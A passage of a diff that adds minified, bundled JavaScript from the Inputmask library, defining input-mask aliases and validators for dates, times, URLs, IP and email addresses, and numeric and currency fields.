(a += t.buffer[i + 1]); + var s = 1 === a.length ? r.regex.val1pre.test(a) : r.regex.val1.test(a); + if (s && t.validPositions[i] && (r.regex.val2(r.separator).test(e + t.validPositions[i].input) || (t.validPositions[i].input = "0" === e ? "1" : "0")), !n && !s) { + if (s = r.regex.val1.test(e + "0")) return t.buffer[i] = e, t.buffer[++i] = "0", { + pos: i, + c: "0" + }; + if (s = r.regex.val1.test("0" + e)) return t.buffer[i] = "0", i++, { + pos: i + } + } + return s + }, + cardinality: 1 + }] + }, + 2: { + validator: function (e, t, i, n, r) { + var a = r.getFrontValue(t.mask, t.buffer, r); - 1 !== a.indexOf(r.placeholder[0]) && (a = "01" + r.separator); + var s = r.regex.val2(r.separator).test(a + e); + return n || s || e.charAt(1) !== r.separator && -1 === "-./".indexOf(e.charAt(1)) || !(s = r.regex.val2(r.separator).test(a + "0" + e.charAt(0))) ? s : (t.buffer[i - 1] = "0", { + refreshFromBuffer: { + start: i - 1, + end: i + }, + pos: i, + c: e.charAt(0) + }) + }, + cardinality: 2, + prevalidator: [{ + validator: function (e, t, i, n, r) { + isNaN(t.buffer[i + 1]) || (e += t.buffer[i + 1]); + var a = r.getFrontValue(t.mask, t.buffer, r); - 1 !== a.indexOf(r.placeholder[0]) && (a = "01" + r.separator); + var s = 1 === e.length ? r.regex.val2pre(r.separator).test(a + e) : r.regex.val2(r.separator).test(a + e); + return s && t.validPositions[i] && (r.regex.val2(r.separator).test(e + t.validPositions[i].input) || (t.validPositions[i].input = "0" === e ? "1" : "0")), n || s || !(s = r.regex.val2(r.separator).test(a + "0" + e)) ? s : (t.buffer[i] = "0", i++, { + pos: i + }) + }, + cardinality: 1 + }] + }, + y: { + validator: function (e, t, i, n, r) { + return r.isInYearRange(e, r.yearrange.minyear, r.yearrange.maxyear) + }, + cardinality: 4, + prevalidator: [{ + validator: function (e, t, i, n, r) { + var a = r.isInYearRange(e, r.yearrange.minyear, r.yearrange.maxyear); + if (!n && !a) { + var s = r.determinebaseyear(r.yearrange.minyear, r.yearrange.maxyear, e + "0").toString().slice(0, 1); + if (a = r.isInYearRange(s + e, r.yearrange.minyear, r.yearrange.maxyear)) return t.buffer[i++] = s.charAt(0), { + pos: i + }; + if (s = r.determinebaseyear(r.yearrange.minyear, r.yearrange.maxyear, e + "0").toString().slice(0, 2), a = r.isInYearRange(s + e, r.yearrange.minyear, r.yearrange.maxyear)) return t.buffer[i++] = s.charAt(0), t.buffer[i++] = s.charAt(1), { + pos: i + } + } + return a + }, + cardinality: 1 + }, { + validator: function (e, t, i, n, r) { + var a = r.isInYearRange(e, r.yearrange.minyear, r.yearrange.maxyear); + if (!n && !a) { + var s = r.determinebaseyear(r.yearrange.minyear, r.yearrange.maxyear, e).toString().slice(0, 2); + if (a = r.isInYearRange(e[0] + s[1] + e[1], r.yearrange.minyear, r.yearrange.maxyear)) return t.buffer[i++] = s.charAt(1), { + pos: i + }; + if (s = r.determinebaseyear(r.yearrange.minyear, r.yearrange.maxyear, e).toString().slice(0, 2), a = r.isInYearRange(s + e, r.yearrange.minyear, r.yearrange.maxyear)) return t.buffer[i - 1] = s.charAt(0), t.buffer[i++] = s.charAt(1), t.buffer[i++] = e.charAt(0), { + refreshFromBuffer: { + start: i - 3, + end: i + }, + pos: i + } + } + return a + }, + cardinality: 2 + }, { + validator: function (e, t, i, n, r) { + return r.isInYearRange(e, r.yearrange.minyear, r.yearrange.maxyear) + }, + cardinality: 3 + }] + } + }, + insertMode: !1, + autoUnmask: !1 + }, + "mm/dd/yyyy": { + placeholder: "mm/dd/yyyy", + alias: "dd/mm/yyyy", + regex: { + val2pre: function (e) { + var i = t.escapeRegex.call(this, e); + return new RegExp("((0[13-9]|1[012])" + i + "[0-3])|(02" + i + "[0-2])") + }, + val2: function (e) { + var i = t.escapeRegex.call(this, e); + return new RegExp("((0[1-9]|1[012])" + i + "(0[1-9]|[12][0-9]))|((0[13-9]|1[012])" + i + "30)|((0[13578]|1[02])" + i + "31)") + }, + val1pre: new RegExp("[01]"), + val1: new RegExp("0[1-9]|1[012]") + }, + leapday: "02/29/", + onKeyDown: function (i, n, r, a) { + var s = e(this); + if (i.ctrlKey && i.keyCode === t.keyCode.RIGHT) { + var o = new Date; + s.val((o.getMonth() + 1).toString() + o.getDate().toString() + o.getFullYear().toString()), s.trigger("setvalue") + } + } + }, + "yyyy/mm/dd": { + mask: "y/1/2", + placeholder: "yyyy/mm/dd", + alias: "mm/dd/yyyy", + leapday: "/02/29", + onKeyDown: function (i, n, r, a) { + var s = e(this); + if (i.ctrlKey && i.keyCode === t.keyCode.RIGHT) { + var o = new Date; + s.val(o.getFullYear().toString() + (o.getMonth() + 1).toString() + o.getDate().toString()), s.trigger("setvalue") + } + } + }, + "dd.mm.yyyy": { + mask: "1.2.y", + placeholder: "dd.mm.yyyy", + leapday: "29.02.", + separator: ".", + alias: "dd/mm/yyyy" + }, + "dd-mm-yyyy": { + mask: "1-2-y", + placeholder: "dd-mm-yyyy", + leapday: "29-02-", + separator: "-", + alias: "dd/mm/yyyy" + }, + "mm.dd.yyyy": { + mask: "1.2.y", + placeholder: "mm.dd.yyyy", + leapday: "02.29.", + separator: ".", + alias: "mm/dd/yyyy" + }, + "mm-dd-yyyy": { + mask: "1-2-y", + placeholder: "mm-dd-yyyy", + leapday: "02-29-", + separator: "-", + alias: "mm/dd/yyyy" + }, + "yyyy.mm.dd": { + mask: "y.1.2", + placeholder: "yyyy.mm.dd", + leapday: ".02.29", + separator: ".", + alias: "yyyy/mm/dd" + }, + "yyyy-mm-dd": { + mask: "y-1-2", + placeholder: "yyyy-mm-dd", + leapday: "-02-29", + separator: "-", + alias: "yyyy/mm/dd" + }, + datetime: { + mask: "1/2/y h:s", + placeholder: "dd/mm/yyyy hh:mm", + alias: "dd/mm/yyyy", + regex: { + hrspre: new RegExp("[012]"), + hrs24: new RegExp("2[0-4]|1[3-9]"), + hrs: new RegExp("[01][0-9]|2[0-4]"), + ampm: new RegExp("^[a|p|A|P][m|M]"), + mspre: new RegExp("[0-5]"), + ms: new RegExp("[0-5][0-9]") + }, + timeseparator: ":", + hourFormat: "24", + definitions: { + h: { + validator: function (e, t, i, n, r) { + if ("24" === r.hourFormat && 24 === parseInt(e, 10)) return t.buffer[i - 1] = "0", t.buffer[i] = "0", { + refreshFromBuffer: { + start: i - 1, + end: i + }, + c: "0" + }; + var a = r.regex.hrs.test(e); + if (!n && !a && (e.charAt(1) === r.timeseparator || -1 !== "-.:".indexOf(e.charAt(1))) && (a = r.regex.hrs.test("0" + e.charAt(0)))) return t.buffer[i - 1] = "0", t.buffer[i] = e.charAt(0), i++, { + refreshFromBuffer: { + start: i - 2, + end: i + }, + pos: i, + c: r.timeseparator + }; + if (a && "24" !== r.hourFormat && r.regex.hrs24.test(e)) { + var s = parseInt(e, 10); + return 24 === s ? (t.buffer[i + 5] = "a", t.buffer[i + 6] = "m") : (t.buffer[i + 5] = "p", t.buffer[i + 6] = "m"), (s -= 12) < 10 ? (t.buffer[i] = s.toString(), t.buffer[i - 1] = "0") : (t.buffer[i] = s.toString().charAt(1), t.buffer[i - 1] = s.toString().charAt(0)), { + refreshFromBuffer: { + start: i - 1, + end: i + 6 + }, + c: t.buffer[i] + } + } + return a + }, + cardinality: 2, + prevalidator: [{ + validator: function (e, t, i, n, r) { + var a = r.regex.hrspre.test(e); + return n || a || !(a = r.regex.hrs.test("0" + e)) ? a : (t.buffer[i] = "0", i++, { + pos: i + }) + }, + cardinality: 1 + }] + }, + s: { + validator: "[0-5][0-9]", + cardinality: 2, + prevalidator: [{ + validator: function (e, t, i, n, r) { + var a = r.regex.mspre.test(e); + return n || a || !(a = r.regex.ms.test("0" + e)) ? a : (t.buffer[i] = "0", i++, { + pos: i + }) + }, + cardinality: 1 + }] + }, + t: { + validator: function (e, t, i, n, r) { + return r.regex.ampm.test(e + "m") + }, + casing: "lower", + cardinality: 1 + } + }, + insertMode: !1, + autoUnmask: !1 + }, + datetime12: { + mask: "1/2/y h:s t\\m", + placeholder: "dd/mm/yyyy hh:mm xm", + alias: "datetime", + hourFormat: "12" + }, + "mm/dd/yyyy hh:mm xm": { + mask: "1/2/y h:s t\\m", + placeholder: "mm/dd/yyyy hh:mm xm", + alias: "datetime12", + regex: { + val2pre: function (e) { + var i = t.escapeRegex.call(this, e); + return new RegExp("((0[13-9]|1[012])" + i + "[0-3])|(02" + i + "[0-2])") + }, + val2: function (e) { + var i = t.escapeRegex.call(this, e); + return new RegExp("((0[1-9]|1[012])" + i + "(0[1-9]|[12][0-9]))|((0[13-9]|1[012])" + i + "30)|((0[13578]|1[02])" + i + "31)") + }, + val1pre: new RegExp("[01]"), + val1: new RegExp("0[1-9]|1[012]") + }, + leapday: "02/29/", + onKeyDown: function (i, n, r, a) { + var s = e(this); + if (i.ctrlKey && i.keyCode === t.keyCode.RIGHT) { + var o = new Date; + s.val((o.getMonth() + 1).toString() + o.getDate().toString() + o.getFullYear().toString()), s.trigger("setvalue") + } + } + }, + "hh:mm t": { + mask: "h:s t\\m", + placeholder: "hh:mm xm", + alias: "datetime", + hourFormat: "12" + }, + "h:s t": { + mask: "h:s t\\m", + placeholder: "hh:mm xm", + alias: "datetime", + hourFormat: "12" + }, + "hh:mm:ss": { + mask: "h:s:s", + placeholder: "hh:mm:ss", + alias: "datetime", + autoUnmask: !1 + }, + "hh:mm": { + mask: "h:s", + placeholder: "hh:mm", + alias: "datetime", + autoUnmask: !1 + }, + date: { + alias: "dd/mm/yyyy" + }, + "mm/yyyy": { + mask: "1/y", + placeholder: "mm/yyyy", + leapday: "donotuse", + separator: "/", + alias: "mm/dd/yyyy" + }, + shamsi: { + regex: { + val2pre: function (e) { + var i = t.escapeRegex.call(this, e); + return new RegExp("((0[1-9]|1[012])" + i + "[0-3])") + }, + val2: function (e) { + var i = t.escapeRegex.call(this, e); + return new RegExp("((0[1-9]|1[012])" + i + "(0[1-9]|[12][0-9]))|((0[1-9]|1[012])" + i + "30)|((0[1-6])" + i + "31)") + }, + val1pre: new RegExp("[01]"), + val1: new RegExp("0[1-9]|1[012]") + }, + yearrange: { + minyear: 1300, + maxyear: 1499 + }, + mask: "y/1/2", + leapday: "/12/30", + placeholder: "yyyy/mm/dd", + alias: "mm/dd/yyyy", + clearIncomplete: !0 + }, + "yyyy-mm-dd hh:mm:ss": { + mask: "y-1-2 h:s:s", + placeholder: "yyyy-mm-dd hh:mm:ss", + alias: "datetime", + separator: "-", + leapday: "-02-29", + regex: { + val2pre: function (e) { + var i = t.escapeRegex.call(this, e); + return new RegExp("((0[13-9]|1[012])" + i + "[0-3])|(02" + i + "[0-2])") + }, + val2: function (e) { + var i = t.escapeRegex.call(this, e); + return new RegExp("((0[1-9]|1[012])" + i + "(0[1-9]|[12][0-9]))|((0[13-9]|1[012])" + i + "30)|((0[13578]|1[02])" + i + "31)") + }, + val1pre: new RegExp("[01]"), + val1: new RegExp("0[1-9]|1[012]") + }, + onKeyDown: function (e, t, i, n) {} + } + }), t + }) +}, function (e, t, i) { + var n, r, a; + ! function (s) { + true ? !(r = [i(1), i(2)], n = s, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) : "object" == typeof t ? e.exports = s(require("./dependencyLibs/inputmask.dependencyLib"), require("./inputmask")) : s(window.dependencyLib || jQuery, window.Inputmask) + }(function (e, t) { + return t.extendDefinitions({ + A: { + validator: "[A-Za-zА-яЁёÀ-ÿµ]", + cardinality: 1, + casing: "upper" + }, + "&": { + validator: "[0-9A-Za-zА-яЁёÀ-ÿµ]", + cardinality: 1, + casing: "upper" + }, + "#": { + validator: "[0-9A-Fa-f]", + cardinality: 1, + casing: "upper" + } + }), t.extendAliases({ + url: { + definitions: { + i: { + validator: ".", + cardinality: 1 + } + }, + mask: "(\\http://)|(\\http\\s://)|(ftp://)|(ftp\\s://)i{+}", + insertMode: !1, + autoUnmask: !1, + inputmode: "url" + }, + ip: { + mask: "i[i[i]].i[i[i]].i[i[i]].i[i[i]]", + definitions: { + i: { + validator: function (e, t, i, n, r) { + return i - 1 > -1 && "." !== t.buffer[i - 1] ? (e = t.buffer[i - 1] + e, e = i - 2 > -1 && "." !== t.buffer[i - 2] ? t.buffer[i - 2] + e : "0" + e) : e = "00" + e, new RegExp("25[0-5]|2[0-4][0-9]|[01][0-9][0-9]").test(e) + }, + cardinality: 1 + } + }, + onUnMask: function (e, t, i) { + return e + }, + inputmode: "numeric" + }, + email: { + mask: "*{1,64}[.*{1,64}][.*{1,64}][.*{1,63}]@-{1,63}.-{1,63}[.-{1,63}][.-{1,63}]", + greedy: !1, + onBeforePaste: function (e, t) { + return (e = e.toLowerCase()).replace("mailto:", "") + }, + definitions: { + "*": { + validator: "[0-9A-Za-z!#$%&'*+/=?^_`{|}~-]", + cardinality: 1, + casing: "lower" + }, + "-": { + validator: "[0-9A-Za-z-]", + cardinality: 1, + casing: "lower" + } + }, + onUnMask: function (e, t, i) { + return e + }, + inputmode: "email" + }, + mac: { + mask: "##:##:##:##:##:##" + }, + vin: { + mask: "V{13}9{4}", + definitions: { + V: { + validator: "[A-HJ-NPR-Za-hj-npr-z\\d]", + cardinality: 1, + casing: "upper" + } + }, + clearIncomplete: !0, + autoUnmask: !0 + } + }), t + }) +}, function (e, t, i) { + var n, r, a; + ! function (s) { + true ? !(r = [i(1), i(2)], n = s, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) : "object" == typeof t ? e.exports = s(require("./dependencyLibs/inputmask.dependencyLib"), require("./inputmask")) : s(window.dependencyLib || jQuery, window.Inputmask) + }(function (e, t, i) { + function n(e, i) { + for (var n = "", r = 0; r < e.length; r++) t.prototype.definitions[e.charAt(r)] || i.definitions[e.charAt(r)] || i.optionalmarker.start === e.charAt(r) || i.optionalmarker.end === e.charAt(r) || i.quantifiermarker.start === e.charAt(r) || i.quantifiermarker.end === e.charAt(r) || i.groupmarker.start === e.charAt(r) || i.groupmarker.end === e.charAt(r) || i.alternatormarker === e.charAt(r) ? n += "\\" + e.charAt(r) : n += e.charAt(r); + return n + } + return t.extendAliases({ + numeric: { + mask: function (e) { + if (0 !== e.repeat && isNaN(e.integerDigits) && (e.integerDigits = e.repeat), e.repeat = 0, e.groupSeparator === e.radixPoint && ("." === e.radixPoint ? e.groupSeparator = "," : "," === e.radixPoint ? e.groupSeparator = "." : e.groupSeparator = ""), " " === e.groupSeparator && (e.skipOptionalPartCharacter = i), e.autoGroup = e.autoGroup && "" !== e.groupSeparator, e.autoGroup && ("string" == typeof e.groupSize && isFinite(e.groupSize) && (e.groupSize = parseInt(e.groupSize)), isFinite(e.integerDigits))) { + var t = Math.floor(e.integerDigits / e.groupSize), + r = e.integerDigits % e.groupSize; + e.integerDigits = parseInt(e.integerDigits) + (0 === r ? t - 1 : t), e.integerDigits < 1 && (e.integerDigits = "*") + } + e.placeholder.length > 1 && (e.placeholder = e.placeholder.charAt(0)), "radixFocus" === e.positionCaretOnClick && "" === e.placeholder && !1 === e.integerOptional && (e.positionCaretOnClick = "lvp"), e.definitions[";"] = e.definitions["~"], e.definitions[";"].definitionSymbol = "~", !0 === e.numericInput && (e.positionCaretOnClick = "radixFocus" === e.positionCaretOnClick ? "lvp" : e.positionCaretOnClick, e.digitsOptional = !1, isNaN(e.digits) && (e.digits = 2), e.decimalProtect = !1); + var a = "[+]"; + if (a += n(e.prefix, e), !0 === e.integerOptional ? a += "~{1," + e.integerDigits + "}" : a += "~{" + e.integerDigits + "}", e.digits !== i) { + e.radixPointDefinitionSymbol = e.decimalProtect ? ":" : e.radixPoint; + var s = e.digits.toString().split(","); + isFinite(s[0] && s[1] && isFinite(s[1])) ? a += e.radixPointDefinitionSymbol + ";{" + e.digits + "}" : (isNaN(e.digits) || parseInt(e.digits) > 0) && (e.digitsOptional ? a += "[" + e.radixPointDefinitionSymbol + ";{1," + e.digits + "}]" : a += e.radixPointDefinitionSymbol + ";{" + e.digits + "}") + } + return a += n(e.suffix, e), a += "[-]", e.greedy = !1, a + }, + placeholder: "", + greedy: !1, + digits: "*", + digitsOptional: !0, + enforceDigitsOnBlur: !1, + radixPoint: ".", + positionCaretOnClick: "radixFocus", + groupSize: 3, + groupSeparator: "", + autoGroup: !1, + allowMinus: !0, + negationSymbol: { + front: "-", + back: "" + }, + integerDigits: "+", + integerOptional: !0, + prefix: "", + suffix: "", + rightAlign: !0, + decimalProtect: !0, + min: null, + max: null, + step: 1, + insertMode: !0, + autoUnmask: !1, + unmaskAsNumber: !1, + inputmode: "numeric", + preValidation: function (t, n, r, a, s) { + if ("-" === r || r === s.negationSymbol.front) return !0 === s.allowMinus && (s.isNegative = s.isNegative === i || !s.isNegative, "" === t.join("") || { + caret: n, + dopost: !0 + }); + if (!1 === a && r === s.radixPoint && s.digits !== i && (isNaN(s.digits) || parseInt(s.digits) > 0)) { + var o = e.inArray(s.radixPoint, t); + if (-1 !== o) return !0 === s.numericInput ? n === o : { + caret: o + 1 + } + } + return !0 + }, + postValidation: function (n, r, a) { + var s = a.suffix.split(""), + o = a.prefix.split(""); + if (r.pos === i && r.caret !== i && !0 !== r.dopost) return r; + var l = r.caret !== i ? r.caret : r.pos, + u = n.slice(); + a.numericInput && (l = u.length - l - 1, u = u.reverse()); + var d = u[l]; + if (d === a.groupSeparator && (d = u[l += 1]), l === u.length - a.suffix.length - 1 && d === a.radixPoint) return r; + d !== i && d !== a.radixPoint && d !== a.negationSymbol.front && d !== a.negationSymbol.back && (u[l] = "?", a.prefix.length > 0 && l >= (!1 === a.isNegative ? 1 : 0) && l < a.prefix.length - 1 + (!1 === a.isNegative ? 1 : 0) ? o[l - (!1 === a.isNegative ? 1 : 0)] = "?" : a.suffix.length > 0 && l >= u.length - a.suffix.length - (!1 === a.isNegative ? 1 : 0) && (s[l - (u.length - a.suffix.length - (!1 === a.isNegative ? 1 : 0))] = "?")), o = o.join(""), s = s.join(""); + var f = u.join("").replace(o, ""); + if (f = f.replace(s, ""), f = f.replace(new RegExp(t.escapeRegex(a.groupSeparator), "g"), ""), f = f.replace(new RegExp("[-" + t.escapeRegex(a.negationSymbol.front) + "]", "g"), ""), f = f.replace(new RegExp(t.escapeRegex(a.negationSymbol.back) + "$"), ""), isNaN(a.placeholder) && (f = f.replace(new RegExp(t.escapeRegex(a.placeholder), "g"), "")), f.length > 1 && 1 !== f.indexOf(a.radixPoint) && ("0" === d && (f = f.replace(/^\?/g, "")), f = f.replace(/^0/g, "")), f.charAt(0) === a.radixPoint && "" !== a.radixPoint && !0 !== a.numericInput && (f = "0" + f), "" !== f) { + if (f = f.split(""), (!a.digitsOptional || a.enforceDigitsOnBlur && "blur" === r.event) && isFinite(a.digits)) { + var c = e.inArray(a.radixPoint, f), + h = e.inArray(a.radixPoint, u); - 1 === c && (f.push(a.radixPoint), c = f.length - 1); + for (var m = 1; m <= a.digits; m++) a.digitsOptional && (!a.enforceDigitsOnBlur || "blur" !== r.event) || f[c + m] !== i && f[c + m] !== a.placeholder.charAt(0) ? -1 !== h && u[h + m] !== i && (f[c + m] = f[c + m] || u[h + m]) : f[c + m] = r.placeholder || a.placeholder.charAt(0) + } + if (!0 !== a.autoGroup || "" === a.groupSeparator || d === a.radixPoint && r.pos === i && !r.dopost) f = f.join(""); + else { + var p = f[f.length - 1] === a.radixPoint && r.c === a.radixPoint; + f = t(function (e, t) { + var i = ""; + if (i += "(" + t.groupSeparator + "*{" + t.groupSize + "}){*}", "" !== t.radixPoint) { + var n = e.join("").split(t.radixPoint); + n[1] && (i += t.radixPoint + "*{" + n[1].match(/^\d*\??\d*/)[0].length + "}") + } + return i + }(f, a), { + numericInput: !0, + jitMasking: !0, + definitions: { + "*": { + validator: "[0-9?]", + cardinality: 1 + } + } + }).format(f.join("")), p && (f += a.radixPoint), f.charAt(0) === a.groupSeparator && f.substr(1) + } + } + if (a.isNegative && "blur" === r.event && (a.isNegative = "0" !== f), f = o + f, f += s, a.isNegative && (f = a.negationSymbol.front + f, f += a.negationSymbol.back), f = f.split(""), d !== i) + if (d !== a.radixPoint && d !== a.negationSymbol.front && d !== a.negationSymbol.back)(l = e.inArray("?", f)) > -1 ? f[l] = d : l = r.caret || 0; + else if (d === a.radixPoint || d === a.negationSymbol.front || d === a.negationSymbol.back) { + var v = e.inArray(d, f); - 1 !== v && (l = v) + } + a.numericInput && (l = f.length - l - 1, f = f.reverse()); + var _ = { + caret: d === i || r.pos !== i ? l + (a.numericInput ? -1 : 1) : l, + buffer: f, + refreshFromBuffer: r.dopost || n.join("") !== f.join("") + }; + return _.refreshFromBuffer ? _ : r + }, + onBeforeWrite: function (n, r, a, s) { + if (n) switch (n.type) { + case "keydown": + return s.postValidation(r, { + caret: a, + dopost: !0 + }, s); + case "blur": + case "checkval": + var o; + if (function (e) { + e.parseMinMaxOptions === i && (null !== e.min && (e.min = e.min.toString().replace(new RegExp(t.escapeRegex(e.groupSeparator), "g"), ""), "," === e.radixPoint && (e.min = e.min.replace(e.radixPoint, ".")), e.min = isFinite(e.min) ? parseFloat(e.min) : NaN, isNaN(e.min) && (e.min = Number.MIN_VALUE)), null !== e.max && (e.max = e.max.toString().replace(new RegExp(t.escapeRegex(e.groupSeparator), "g"), ""), "," === e.radixPoint && (e.max = e.max.replace(e.radixPoint, ".")), e.max = isFinite(e.max) ? parseFloat(e.max) : NaN, isNaN(e.max) && (e.max = Number.MAX_VALUE)), e.parseMinMaxOptions = "done") + }(s), null !== s.min || null !== s.max) { + if (o = s.onUnMask(r.join(""), i, e.extend({}, s, { + unmaskAsNumber: !0 + })), null !== s.min && o < s.min) return s.isNegative = s.min < 0, s.postValidation(s.min.toString().replace(".", s.radixPoint).split(""), { + caret: a, + dopost: !0, + placeholder: "0" + }, s); + if (null !== s.max && o > s.max) return s.isNegative = s.max < 0, s.postValidation(s.max.toString().replace(".", s.radixPoint).split(""), { + caret: a, + dopost: !0, + placeholder: "0" + }, s) + } + return s.postValidation(r, { + caret: a, + placeholder: "0", + event: "blur" + }, s); + case "_checkval": + return { + caret: a + } + } + }, + regex: { + integerPart: function (e, i) { + return i ? new RegExp("[" + t.escapeRegex(e.negationSymbol.front) + "+]?") : new RegExp("[" + t.escapeRegex(e.negationSymbol.front) + "+]?\\d+") + }, + integerNPart: function (e) { + return new RegExp("[\\d" + t.escapeRegex(e.groupSeparator) + t.escapeRegex(e.placeholder.charAt(0)) + "]+") + } + }, + definitions: { + "~": { + validator: function (e, n, r, a, s, o) { + var l = a ? new RegExp("[0-9" + t.escapeRegex(s.groupSeparator) + "]").test(e) : new RegExp("[0-9]").test(e); + if (!0 === l) { + if (!0 !== s.numericInput && n.validPositions[r] !== i && "~" === n.validPositions[r].match.def && !o) { + var u = n.buffer.join(""), + d = (u = (u = u.replace(new RegExp("[-" + t.escapeRegex(s.negationSymbol.front) + "]", "g"), "")).replace(new RegExp(t.escapeRegex(s.negationSymbol.back) + "$"), "")).split(s.radixPoint); + d.length > 1 && (d[1] = d[1].replace(/0/g, s.placeholder.charAt(0))), "0" === d[0] && (d[0] = d[0].replace(/0/g, s.placeholder.charAt(0))), u = d[0] + s.radixPoint + d[1] || ""; + var f = n._buffer.join(""); + for (u === s.radixPoint && (u = f); null === u.match(t.escapeRegex(f) + "$");) f = f.slice(1); + l = (u = (u = u.replace(f, "")).split(""))[r] === i ? { + pos: r, + remove: r + } : { + pos: r + } + } + } else a || e !== s.radixPoint || n.validPositions[r - 1] !== i || (n.buffer[r] = "0", l = { + pos: r + 1 + }); + return l + }, + cardinality: 1 + }, + "+": { + validator: function (e, t, i, n, r) { + return r.allowMinus && ("-" === e || e === r.negationSymbol.front) + }, + cardinality: 1, + placeholder: "" + }, + "-": { + validator: function (e, t, i, n, r) { + return r.allowMinus && e === r.negationSymbol.back + }, + cardinality: 1, + placeholder: "" + }, + ":": { + validator: function (e, i, n, r, a) { + var s = "[" + t.escapeRegex(a.radixPoint) + "]", + o = new RegExp(s).test(e); + return o && i.validPositions[n] && i.validPositions[n].match.placeholder === a.radixPoint && (o = { + caret: n + 1 + }), o + }, + cardinality: 1, + placeholder: function (e) { + return e.radixPoint + } + } + }, + onUnMask: function (e, i, n) { + if ("" === i && !0 === n.nullable) return i; + var r = e.replace(n.prefix, ""); + return r = r.replace(n.suffix, ""), r = r.replace(new RegExp(t.escapeRegex(n.groupSeparator), "g"), ""), "" !== n.placeholder.charAt(0) && (r = r.replace(new RegExp(n.placeholder.charAt(0), "g"), "0")), n.unmaskAsNumber ? ("" !== n.radixPoint && -1 !== r.indexOf(n.radixPoint) && (r = r.replace(t.escapeRegex.call(this, n.radixPoint), ".")), r = r.replace(new RegExp("^" + t.escapeRegex(n.negationSymbol.front)), "-"), r = r.replace(new RegExp(t.escapeRegex(n.negationSymbol.back) + "$"), ""), Number(r)) : r + }, + isComplete: function (e, i) { + var n = e.join(""); + if (e.slice().join("") !== n) return !1; + var r = n.replace(i.prefix, ""); + return r = r.replace(i.suffix, ""), r = r.replace(new RegExp(t.escapeRegex(i.groupSeparator), "g"), ""), "," === i.radixPoint && (r = r.replace(t.escapeRegex(i.radixPoint), ".")), isFinite(r) + }, + onBeforeMask: function (e, n) { + if (n.isNegative = i, e = e.toString().charAt(e.length - 1) === n.radixPoint ? e.toString().substr(0, e.length - 1) : e.toString(), "" !== n.radixPoint && isFinite(e)) { + var r = e.split("."), + a = "" !== n.groupSeparator ? parseInt(n.groupSize) : 0; + 2 === r.length && (r[0].length > a || r[1].length > a || r[0].length <= a && r[1].length < a) && (e = e.replace(".", n.radixPoint)) + } + var s = e.match(/,/g), + o = e.match(/\./g); + if (e = o && s ? o.length > s.length ? (e = e.replace(/\./g, "")).replace(",", n.radixPoint) : s.length > o.length ? (e = e.replace(/,/g, "")).replace(".", n.radixPoint) : e.indexOf(".") < e.indexOf(",") ? e.replace(/\./g, "") : e.replace(/,/g, "") : e.replace(new RegExp(t.escapeRegex(n.groupSeparator), "g"), ""), 0 === n.digits && (-1 !== e.indexOf(".") ? e = e.substring(0, e.indexOf(".")) : -1 !== e.indexOf(",") && (e = e.substring(0, e.indexOf(",")))), "" !== n.radixPoint && isFinite(n.digits) && -1 !== e.indexOf(n.radixPoint)) { + var l = e.split(n.radixPoint)[1].match(new RegExp("\\d*"))[0]; + if (parseInt(n.digits) < l.toString().length) { + var u = Math.pow(10, parseInt(n.digits)); + e = e.replace(t.escapeRegex(n.radixPoint), "."), e = (e = Math.round(parseFloat(e) * u) / u).toString().replace(".", n.radixPoint) + } + } + return e + }, + canClearPosition: function (e, t, i, n, r) { + var a = e.validPositions[t], + s = a.input !== r.radixPoint || null !== e.validPositions[t].match.fn && !1 === r.decimalProtect || a.input === r.radixPoint && e.validPositions[t + 1] && null === e.validPositions[t + 1].match.fn || isFinite(a.input) || t === i || a.input === r.groupSeparator || a.input === r.negationSymbol.front || a.input === r.negationSymbol.back; + return !s || "+" !== a.match.nativeDef && "-" !== a.match.nativeDef || (r.isNegative = !1), s + }, + onKeyDown: function (i, n, r, a) { + var s = e(this); + if (i.ctrlKey) switch (i.keyCode) { + case t.keyCode.UP: + s.val(parseFloat(this.inputmask.unmaskedvalue()) + parseInt(a.step)), s.trigger("setvalue"); + break; + case t.keyCode.DOWN: + s.val(parseFloat(this.inputmask.unmaskedvalue()) - parseInt(a.step)), s.trigger("setvalue") + } + } + }, + currency: { + prefix: "$ ", + groupSeparator: ",", + alias: "numeric", + placeholder: "0", + autoGroup: !0, + digits: 2, + digitsOptional: !1, + clearMaskOnLostFocus: !1 + }, + decimal: { + alias: "numeric" + }, + integer: { + alias: "numeric", + digits: 0, + radixPoint: "" + }, + percentage: { + alias: "numeric", + digits: 2, + digitsOptional: !0, + radixPoint: ".", + placeholder: "0", + autoGroup: !1, + min: 0, + max: 100, + suffix: " %", + allowMinus: !1 + } + }), t + }) +}, function (e, t, i) { + var n, r, a; + ! function (s) { + true ? !(r = [i(1), i(2)], n = s, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) : "object" == typeof t ? e.exports = s(require("./dependencyLibs/inputmask.dependencyLib"), require("./inputmask")) : s(window.dependencyLib || jQuery, window.Inputmask) + }(function (e, t) { + function i(e, t) { + var i = (e.mask || e).replace(/#/g, "9").replace(/\)/, "9").replace(/[+()#-]/g, ""), + n = (t.mask || t).replace(/#/g, "9").replace(/\)/, "9").replace(/[+()#-]/g, ""), + r = (e.mask || e).split("#")[0], + a = (t.mask || t).split("#")[0]; + return 0 === a.indexOf(r) ? -1 : 0 === r.indexOf(a) ? 1 : i.localeCompare(n) + } + var n = t.prototype.analyseMask; + return t.prototype.analyseMask = function (t, i, r) { + function a(e, i, n) { + i = i || "", n = n || o, "" !== i && (n[i] = {}); + for (var r = "", s = n[i] || n, l = e.length - 1; l >= 0; l--) s[r = (t = e[l].mask || e[l]).substr(0, 1)] = s[r] || [], s[r].unshift(t.substr(1)), e.splice(l, 1); + for (var u in s) s[u].length > 500 && a(s[u].slice(), u, s) + } + + function s(t) { + var i = "", + n = []; + for (var a in t) e.isArray(t[a]) ? 1 === t[a].length ? n.push(a + t[a]) : n.push(a + r.groupmarker.start + t[a].join(r.groupmarker.end + r.alternatormarker + r.groupmarker.start) + r.groupmarker.end) : n.push(a + s(t[a])); + return 1 === n.length ? i += n[0] : i += r.groupmarker.start + n.join(r.groupmarker.end + r.alternatormarker + r.groupmarker.start) + r.groupmarker.end, i + } + var o = {}; + return r.phoneCodes && (r.phoneCodes && r.phoneCodes.length > 1e3 && (a((t = t.substr(1, t.length - 2)).split(r.groupmarker.end + r.alternatormarker + r.groupmarker.start)), t = s(o)), t = t.replace(/9/g, "\\9")), n.call(this, t, i, r) + }, t.extendAliases({ + abstractphone: { + groupmarker: { + start: "<", + end: 